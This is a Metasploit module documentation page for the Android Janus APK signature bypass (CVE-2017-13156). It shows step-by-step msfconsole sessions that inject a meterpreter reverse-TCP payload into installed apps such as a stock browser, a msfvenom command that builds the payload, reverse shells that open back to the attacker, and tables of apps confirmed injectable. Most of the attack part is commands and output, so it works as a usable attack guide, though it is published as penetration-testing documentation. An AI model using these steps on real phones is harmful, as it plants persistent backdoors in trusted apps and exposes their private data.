Android Janus APK Signature bypass - Metasploit


This page contains detailed information about how to use the exploit/android/local/janus metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Android Janus APK Signature bypass
Module: exploit/android/local/janus
Source code: modules/exploits/android/local/janus.rb
Disclosure date: 2017-07-31
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): dalvik
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-13156

This module exploits CVE-2017-13156 in Android to install a payload into another application. The payload APK will have the same signature and can be installed as an update, preserving the existing data. The vulnerability was fixed in the 5th December 2017 security patch, and was additionally fixed by the APK Signature scheme v2, so only APKs signed with the v1 scheme are vulnerable. Payload handler is disabled, and a multi/handler must be started first.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Stability:

  • SERVICE_RESOURCE_LOSS: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.

Side Effects:

  • ARTIFACTS_ON_DISK: Modules leaves a payload or a dropper on the target machine.
  • SCREEN_EFFECTS: Module may show something on the screen (Example: a window pops up).

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/android/local/janus
msf exploit(janus) > show targets
    ... a list of targets ...
msf exploit(janus) > set TARGET target-id
msf exploit(janus) > show options
    ... show and set options ...
msf exploit(janus) > set SESSION session-id
msf exploit(janus) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module exploits CVE-2017-13156 in Android to install a payload into another application. The payload APK will have the same signature and can be installed as an update, preserving the existing data. The vulnerability was fixed in the 5th December 2017 security patch, and was additionally fixed by the APK Signature scheme v2, so only APKs signed with the v1 scheme are vulnerable.

This module will potentially give two things, the first is access to the private date for the app which was injected in to. The second is a more stealthy persistence mechanism since the payload will start each time the injected app starts.

Some devices when installing the updated apk file give an error "There was a problem parsing the package."

Confirmed Vulnerable Apps


The following table shows known vulnerable apps either pre-installed on a phone or available to download.

Package Version From Phone MD5
com.google.android.googlequicksearchbox Stock ZTE Z798BL Android 6.0.1 tracphone 854378571509c9aa7a49f84d3f2c11c8
com.ume.browser.northamerica (Browser) v3.42.21161215 Stock ZTE Z798BL Android 6.0.1 tracphone 726a13647fb6afb9c147b540641eb82a
com.phonegap.camerasample 1.0 00411ebec8e7ab3fc0292070cba5efbd
com.android.vending (Google play store) 6.9.21.G-all [0] 3270725 Stock ZTE Z798BL Android 6.0.1 tracphone bed81c338f61c6095265592ee6fbb6d8
com.apptap.appfinder.tracfone 1.7.5.0 Stock ZTE Z798BL Android 6.0.1 tracphone c20da001a44cd30cc09c1460ca84f743
com.tracfone.generic.downloaderapp R3.1.2 Stock ZTE Z798BL Android 6.0.1 tracphone 448d39f6e5b2370d5b14f24c0d2dd79b
com.google.android.tts (must enable TalkBack feature) 3.10.10 Stock ZTE Z798BL Android 6.0.1 tracphone c44485e17a9a5987e9e3d09507b2bfda
com.google.android.videos 3.19.11 Stock ZTE Z798BL Android 6.0.1 tracphone e95baeda7fabc3173289be7274fa350f

Hostile Apps


This table shows apps which seemed to work (injected, installed without error) but had adverse effects. These apps should typically be avoided unless tested.

Package Version From Phone MD5 Issue
com.google.android.youtube 11.38.54 Stock ZTE Z798BL Android 6.0.1 tracphone 8152ea89b99da5fe66880607a8f93d96 App crash on start
com.android.launcher3 Stock ZTE Z798BL Android 6.0.1 tracphone 45139b7bf9cc328dcd1f0a3f01f87eb6 Seems to be the GUI for the phone. When GUI restarted, no session.
com.instagram.android stub Stock ZTE Z798BL Android 6.0.1 tracphone 6e8543dec479508f4952ece014218597 No session
com.google.android.music 6.14.3420-0.G.3279860 Stock ZTE Z798BL Android 6.0.1 tracphone 09a49fea442c88b23a8f3752caff33de App crash on start
com.google.android.apps.docs Stock ZTE Z798BL Android 6.0.1 tracphone b0e96f36b7bdfa7ca3064c71538c1339 App loop, no start
com.google.android.apps.maps 9.38.1 Stock ZTE Z798BL Android 6.0.1 tracphone 91d0f8f24ce451deb31cf9f4b9a1d3c6 App crash on start
com.android.chrome 53.0.2785.124 Stock ZTE Z798BL Android 6.0.1 tracphone ac6bbbd5ea559dbb63c42eb7e863286b Original session dies on upload
com.google.android.gms Stock ZTE Z798BL Android 6.0.1 tracphone 504de5427ec47fa3e124c7b5e3413c50 Original session dies on upload

Vulnerable Application


This module will only work on applications that are signed with only the v1 signature scheme. You can verify which signing scheme an APK is signed with using the apksigner tool in the Android SDK:

$ apksigner verify -verbose notvulnerable.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Number of signers: 1

$ apksigner verify -verbose vulnerableapplication.apk
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): false
Number of signers: 1

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. Start a handler with exploit/multi/handlers
  4. Do: use exploit/android/local/janus
  5. Do: set session [session]
  6. Do: check
  7. Do: run
  8. On the phone, a new screen will ask about installing the updated app, say yes/ok, then open the app.
  9. You should get a new session.

Options


PACKAGE

Select a package to infect. A list of packages can be obtained by running app_list on meterpreter. Using ALL will loop through all packages and attempt to exploit them until successful. This can take a while, and cause lots of data to be transferred. Default is com.phonegap.camerasample

Scenarios


com.phonegap.camerasample on Nexus 6p with November 2016 Security Patch

Install com.phonegap.camerasample

An exploit/multi/handler was started prior to exploitation.

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                        Information         Connection
  --  ----  ----                        -----------         ----------
  1         meterpreter dalvik/android  u0_a80 @ localhost  192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107)

msf5 exploit(multi/handler) > use exploit/android/local/janus
msf5 exploit(android/local/janus) > set PACKAGE com.phonegap.camerasample
PACKAGE => com.phonegap.camerasample
msf5 exploit(android/local/janus) > set SESSION 1
SESSION => 1
msf5 exploit(android/local/janus) > set LHOST 192.168.0.176
LHOST => 192.168.0.176
msf5 exploit(android/local/janus) > set LPORT 4445
LPORT => 4445
msf5 exploit(android/local/janus) > run

[*] Downloading APK: /data/app/com.phonegap.camerasample-1/base.apk
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.phonegap.camerasample.syerq
[*] Loading /tmp/d20190824-7164-qydvgj/original/smali/com/phonegap/camerasample/CameraSampleActivity.smali and injecting payload..
[*] Rebuilding apk with meterpreter injection as /tmp/d20190824-7164-qydvgj/output.apk
[*] Uploading APK: /sdcard/app.apk
[*] APK uploaded
msf5 exploit(android/local/janus) >

Please note that the user will need to manually accept the install prompt on the device (and also open the application) before a new session is opened.

[*] Sending stage (72609 bytes) to 192.168.0.107
[*] Meterpreter session 2 opened (192.168.0.176:4445 -> 192.168.0.107:49710) at 2018-10-01 17:44:50 +0800

msf5 exploit(android/local/janus) > sessions 2
[*] Starting interaction with 2...

meterpreter > pwd
/data/user/0/com.phonegap.camerasample/files

Browser (com.ume.browser.northamerica) on ZTE Z798BL Android 6.0.1 with December 2016 Security Patch

Original payload was generated as such:

./msfvenom -p android/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=9999 -o /var/www/html/android.apk
resource (janus.rb)> use exploit/multi/handler
resource (janus.rb)> set payload android/meterpreter_reverse_tcp
payload => android/meterpreter_reverse_tcp
resource (janus.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (janus.rb)> set lport 9999
lport => 9999
resource (janus.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:9999 
[*] Meterpreter session 1 opened (1.1.1.1:9999 -> 2.2.2.2:43753) at 2019-11-05 20:08:53 -0500
WARNING: Local file /root/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used

meterpreter > getuid
Server username: u0_a89
meterpreter > pwd
/data/user/0/com.metasploit.stage/files
meterpreter > sysinfo
Computer    : localhost
OS          : Android 6.0.1 - Linux 3.10.49-gc5a5f6b-00560-gb1fe534 (armv7l)
Meterpreter : dalvik/android
meterpreter > background
[*] Backgrounding session 1...

Start the payload handler to catch the new callback

resource (janus.rb)> set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
resource (janus.rb)> set lport 4444
lport => 4444
resource (janus.rb)> run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

Exploit

resource (janus.rb)> use janus

[*] Started reverse TCP handler on 1.1.1.1:4444 

Matching Modules
================

   #  Name                         Disclosure Date  Rank    Check  Description
   -  ----                         ---------------  ----    -----  -----------
   0  exploit/android/local/janus  2017-07-31       manual  Yes    Android Janus APK Signature bypass


[*] Using exploit/android/local/janus
resource (janus.rb)> set session 1
session => 1
resource (janus.rb)> set package com.ume.browser.northamerica
package => com.ume.browser.northamerica
resource (janus.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (janus.rb)> set lport 4444
lport => 4444
resource (janus.rb)> set verbose true
verbose => true
resource (janus.rb)> run
[+] Android version 6.0.1 appears to be vulnerable.
[+] Android security patch level 2016-12-01 is vulnerable
[*] Downloading APK: /system/priv-app/UmeBrowser/UmeBrowser.apk
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.ume.browser.northamerica.onhad
[*] Loading /tmp/d20191105-15343-1heobn1/original/smali/com/ume/browser/UmeApplication.smali and injecting payload..
[*] Rebuilding apk with meterpreter injection as /tmp/d20191105-15343-1heobn1/output.apk
[*] Uploading APK: /sdcard/app.apk
[*] APK uploaded
[*] User should now have a prompt to install an updated version of the app
msf5 exploit(android/local/janus) >

Install the app on the phone. For this app, clicking Open was not required, the shell was immediate.

phone 1 phone 2 phone 3

WARNING: Local file /root/metasploit-framework/data/android/metstage.jar is being used
WARNING: Local file /root/metasploit-framework/data/android/meterpreter.jar is being used

[*] Sending stage (73445 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:38676) at 2019-11-05 20:12:38 -0500

[-] Unknown command: (installing.
msf5 exploit(android/local/janus) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: u0_a34
meterpreter > pwd
/data/user/0/com.ume.browser.northamerica/files

Go back to menu.

Msfconsole Usage


Here is how the android/local/janus exploit module looks in the msfconsole:

msf6 > use exploit/android/local/janus

[*] Using configured payload android/meterpreter/reverse_tcp
msf6 exploit(android/local/janus) > show info

       Name: Android Janus APK Signature bypass
     Module: exploit/android/local/janus
   Platform: Android
       Arch: dalvik
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2017-07-31

Provided by:
  GuardSquare
  V-E-O
  timwr
  h00die

Module side effects:
 ARTIFACTS_ON_DISK
 SCREEN_EFFECTS

Module stability:
 SERVICE_RESOURCE_LOSS

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name     Current Setting            Required  Description
  ----     ---------------            --------  -----------
  PACKAGE  com.phonegap.camerasample  yes       The package to target, or ALL to attempt all
  SESSION                             yes       The session to run this module on.

Payload information:

Description:
  This module exploits CVE-2017-13156 in Android to install a payload 
  into another application. The payload APK will have the same 
  signature and can be installed as an update, preserving the existing 
  data. The vulnerability was fixed in the 5th December 2017 security 
  patch, and was additionally fixed by the APK Signature scheme v2, so 
  only APKs signed with the v1 scheme are vulnerable. Payload handler 
  is disabled, and a multi/handler must be started first.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-13156
  https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures
  https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156

Module Options


This is a complete list of options available in the android/local/janus exploit:

msf6 exploit(android/local/janus) > show options

Module options (exploit/android/local/janus):

   Name     Current Setting            Required  Description
   ----     ---------------            --------  -----------
   PACKAGE  com.phonegap.camerasample  yes       The package to target, or ALL to attempt all
   SESSION                             yes       The session to run this module on.

Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the android/local/janus exploit:

msf6 exploit(android/local/janus) > show advanced

Module advanced options (exploit/android/local/janus):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   PayloadUUIDName                          no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                           no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                          no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking     false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries         0                yes       How many additional successful pingbacks
   PingbackSleep           30               yes       Time (in seconds) to sleep between pingbacks
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (android/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
   AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
   AndroidWakelock              false            no        Acquire a wakelock before starting the payload
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the android/local/janus module can exploit:

msf6 exploit(android/local/janus) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the android/local/janus exploit:

msf6 exploit(android/local/janus) > show payloads

Compatible Payloads
===================

   #   Name                                       Disclosure Date  Rank    Check  Description
   -   ----                                       ---------------  ----    -----  -----------
   0   payload/android/meterpreter/reverse_http                    normal  No     Android Meterpreter, Android Reverse HTTP Stager
   1   payload/android/meterpreter/reverse_https                   normal  No     Android Meterpreter, Android Reverse HTTPS Stager
   2   payload/android/meterpreter/reverse_tcp                     normal  No     Android Meterpreter, Android Reverse TCP Stager
   3   payload/android/meterpreter_reverse_http                    normal  No     Android Meterpreter Shell, Reverse HTTP Inline
   4   payload/android/meterpreter_reverse_https                   normal  No     Android Meterpreter Shell, Reverse HTTPS Inline
   5   payload/android/meterpreter_reverse_tcp                     normal  No     Android Meterpreter Shell, Reverse TCP Inline
   6   payload/android/shell/reverse_http                          normal  No     Command Shell, Android Reverse HTTP Stager
   7   payload/android/shell/reverse_https                         normal  No     Command Shell, Android Reverse HTTPS Stager
   8   payload/android/shell/reverse_tcp                           normal  No     Command Shell, Android Reverse TCP Stager
   9   payload/generic/custom                                      normal  No     Custom Payload
   10  payload/generic/shell_bind_tcp                              normal  No     Generic Command Shell, Bind TCP Inline
   11  payload/generic/shell_reverse_tcp                           normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the android/local/janus exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(android/local/janus) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Android version <OS> is not vulnerable.


Here is a relevant code snippet related to the "Android version <OS> is not vulnerable." error message:

62:	  end
63:	
64:	  def check
65:	    os = cmd_exec("getprop ro.build.version.release")
66:	    unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))
67:	      vprint_error "Android version #{os} is not vulnerable."
68:	      return CheckCode::Safe
69:	    end
70:	    vprint_good "Android version #{os} appears to be vulnerable."
71:	
72:	    patch = cmd_exec('getprop ro.build.version.security_patch')

Unable to determine patch level. Pre-5.0 this is unaccessible.


Here is a relevant code snippet related to the "Unable to determine patch level. Pre-5.0 this is unaccessible." error message:

69:	    end
70:	    vprint_good "Android version #{os} appears to be vulnerable."
71:	
72:	    patch = cmd_exec('getprop ro.build.version.security_patch')
73:	    if patch.empty?
74:	      print_status 'Unable to determine patch level.  Pre-5.0 this is unaccessible.'
75:	    elsif patch > '2017-12-05'
76:	      vprint_error "Android security patch level #{patch} is patched."
77:	      return CheckCode::Safe
78:	    else
79:	      vprint_good "Android security patch level #{patch} is vulnerable"

Android security patch level <PATCH> is patched.


Here is a relevant code snippet related to the "Android security patch level <PATCH> is patched." error message:

71:	
72:	    patch = cmd_exec('getprop ro.build.version.security_patch')
73:	    if patch.empty?
74:	      print_status 'Unable to determine patch level.  Pre-5.0 this is unaccessible.'
75:	    elsif patch > '2017-12-05'
76:	      vprint_error "Android security patch level #{patch} is patched."
77:	      return CheckCode::Safe
78:	    else
79:	      vprint_good "Android security patch level #{patch} is vulnerable"
80:	    end
81:	

Unable to locate app apk


Here is a relevant code snippet related to the "Unable to locate app apk" error message:

83:	  end
84:	
85:	  def exploit
86:	    def infect(apkfile)
87:	      unless apkfile.start_with?("package:")
88:	        fail_with Failure::BadConfig, 'Unable to locate app apk'
89:	      end
90:	      apkfile = apkfile[8..-1]
91:	      print_status "Downloading APK: #{apkfile}"
92:	      apk_data = read_file(apkfile)
93:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • GuardSquare
  • V-E-O
  • timwr
  • h00die

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.